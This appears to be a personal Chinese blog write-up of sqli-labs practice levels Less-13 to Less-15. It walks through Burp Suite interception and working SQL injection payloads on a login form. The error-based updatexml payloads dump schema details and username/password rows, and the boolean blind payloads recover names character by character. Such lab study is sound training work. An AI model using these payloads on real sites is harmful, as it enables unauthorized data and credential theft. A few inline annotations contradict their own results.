一、Less-13
1. 进入Less-13,并挂BurpSuite代理,打开BurpSuite的拦截
打开小皮的Apache和MysSQL,访问ip/靶场文件名/Less-13
开BP代理,打开BP拦截,输入用户名和密码:admin admin,点击提交。
将捕到的包发送到重放器。点击发送,登录成功,但页面无回显点。
2. 在uname=admin后尝试注入
2.1 寻找闭合方式
判断闭合 输入:' --+ 页面报错--》 ') --+ 登录成功,闭合成功
闭合方式为:单引号+小括号 ')
根据报错和无回显,所有尝试 报错注入。
2.2 查数据库库名
无回显点,故order by判断字段数和 union select 判断回显点,两边略过。
输入:') and updatexml(1,concat(0x7e,database(),0x7e),1)--+
2.3 查所有表名
输入:') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
2.4 查询users表下的所有字段名
输入:') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
2.5 查询所有数据
输入:') and updatexml(1,concat(0x7e,(select concat(username,'~',password) from users limit 0,1)),1)--+ //第一条数据
输入:') and updatexml(1,concat(0x7e,(select concat(username,'~',password) from users limit 1,1)),1)--+ //第2条数据
......
输入:') and updatexml(1,concat(0x7e,(select concat(username,'~',password) from users limit 12,1)),1)--+ //第13条数据
输入:') and updatexml(1,concat(0x7e,(select concat(username,'~',password) from users limit 13,1)),1)--+ // 数据显示结束,无数据显示
二、Less-14
1. 进入Less-14 完成代码的捕包和重发
输入:admin admin,点击提交,捕包,发送至重放器
2. 判断闭合方式
输入:' --+ 无报错,登录失败,闭合失败--》
输入:" --+ 登录成功,闭合成功--》 闭合方式为:双引号
3. 判断字段数、回显点
判断字段数:
输入:" order by 3 --+ //报错,未定义
输入:" order by 2 --+ //登录成功,字段数为2位
判断回显点:-admin" union select 1,2--+ // 登录成功,但无回显点
4. 查数据库库名
无回显点,有报错显示 尝试报错注入
输入:" and updatexml(1,concat(0x7e,database()),1)--+ //数据库库名为:security
5.查所有表名
输入:" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
6.查所有字段名
输入:" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
查所有字段数据,和Less-13一样。仅闭合方式为:双引号。
三、Less-15
1. 进入Less-15,捕包+重发
2.判断闭合方式
输入:‘--+ //登录成功 闭合成功 闭合方式为:单引号
3. 判断字段数和回显点
输入:' order by 3--+ //登录失败,字段数小于3
输入:' order by 2--+ //登录成功 字段数为2 位
输入:-admin' union select 1,2--+ //登录成功,但无回显点
4. 查数据库库名长度和数据库库名
查数据库库名长度
无回显点,无报错显示,页面只有登录成功和失败两种状态,所以使用布尔盲注
输入:admin' and length(database())>7--+ //登录成功,数据库长度大于7
输入:admin' and length(database())>8--+ //登录失败,数据库长度不大于8
输入:admin' and length(database())=8--+ //登录成功,数据库长度为 8 位
查询数据库库名第一个字符
输入:' and ascii(substr(database(),1,1))>114--+ //登录成功
输入:' and ascii(substr(database(),1,1))>115--+ //登录成功
输入:' and ascii(substr(database(),1,1))=115--+ //登录成功,第一个字符为 115 s
查询数据库其他7个字符
输入:' and ascii(substr(database(),2,1))=101--+ //登录成功,第2个字符为 101 e
输入:' and ascii(substr(database(),3,1))=99--+ //登录成功,第2个字符为 99 c
......
完整的数据库名为:security
5. 查表的数量
输入:' and (select count(table_name) from information_schema.tables where table_schema='security')>3--+ //登录成功,表的数量大于3
输入:' and (select count(table_name) from information_schema.tables where table_schema='security')>4--+ //登录成功,表的数量 不大于4
输入:' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+ //登录成功,表的数量为 4 个
6.查所有表名和字段名,爆破数据过程参考Less-7
第一个表的第一个字符:
输入:' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+ //登录成功
输入:' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+ //登录失败
输入:' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+ //登录成功 第一个表名第一个字符为 e
其余参考Less-7
今天只练习了三关,使用BurpSuite的重放器模块极大地提高的检验效率和节省部分代码的输入时间。
能帮助到看到本文章的人就行,如果没有也没关系。练习总结,仅供大家参考哦。。。
拜拜!!! -------------2025/3/4 0:10